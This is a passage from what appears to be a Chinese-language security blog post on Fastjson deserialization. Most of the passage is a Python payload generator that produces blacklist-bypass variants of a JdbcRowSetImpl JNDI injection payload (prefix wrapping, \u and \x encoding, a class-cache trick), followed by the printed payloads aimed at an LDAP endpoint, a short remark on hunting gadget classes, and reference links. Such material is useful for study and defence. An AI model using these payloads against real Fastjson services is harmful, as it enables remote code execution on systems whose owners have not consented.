tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)
# 对@type的value增加L开头，;结尾的payload
def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")
# 对@type的value增加LL开头，;;结尾的payload
def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")
# 对@type的value进行/u
def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('//u{:04x}'.format(c) for c in v.encode())).replace("////", "//")
# 对@type的value进行/x
def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('//x{:02x}'.format(c) for c in v.encode())).replace("////", "//")
# 生成cache绕过payload
def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)
def gen(self):
payloads = []
payload1 = self.gen_payload1(self.base_payload)
yield payload1
payload2 = self.gen_payload2(self.base_payload)
yield payload2
payload3 = self.gen_payload3(self.base_payload)
yield payload3
payload4 = self.gen_payload4(self.base_payload)
yield payload4
payload5 = self.gen_payload5(self.base_payload)
yield payload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)
if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')
for payload in fjp.gen():
print(payload)
print()
例如JdbcRowSetImpl结果：
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/x63/x6f/x6d/x2e/x73/x75/x6e/x2e/x72/x6f/x77/x73/x65/x74/x2e/x4a/x64/x62/x63/x52/x6f/x77/x53/x65/x74/x49/x6d/x70/x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "/u004c/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c/u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/x4c/x63/x6f/x6d/x2e/x73/x75/x6e/x2e/x72/x6f/x77/x73/x65/x74/x2e/x4a/x64/x62/x63/x52/x6f/x77/x53/x65/x74/x49/x6d/x70/x6c/x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/u004c/u004c/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c/u003b/u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/x4c/x4c/x63/x6f/x6d/x2e/x73/x75/x6e/x2e/x72/x6f/x77/x73/x65/x74/x2e/x4a/x64/x62/x63/x52/x6f/x77/x53/x65/x74/x49/x6d/x70/x6c/x3b/x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "/u006a/u0061/u0076/u0061/u002e/u006c/u0061/u006e/u0067/u002e/u0043/u006c/u0061/u0073/u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "/x6a/x61/x76/x61/x2e/x6c/x61/x6e/x67/x2e/x43/x6c/x61/x73/x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "/x63/x6f/x6d/x2e/x73/x75/x6e/x2e/x72/x6f/x77/x73/x65/x74/x2e/x4a/x64/x62/x63/x52/x6f/x77/x53/x65/x74/x49/x6d/x70/x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类，似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单，可以看下这个 项目 ，跑到1.2.62版本了，跑出来了大多数黑名单，不过很多都是包，具体哪个类还得去包中一一寻找。
参考链接
- https://paper.seebug.org/994/#0x03
- https://paper.seebug.org/1155/
- https://paper.seebug.org/994/
- https://paper.seebug.org/292/
- https://paper.seebug.org/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- https://zhuanlan.zhihu.com/p/99075925
- ...
太多了，感谢师傅们的辛勤记录。
正文到此结束
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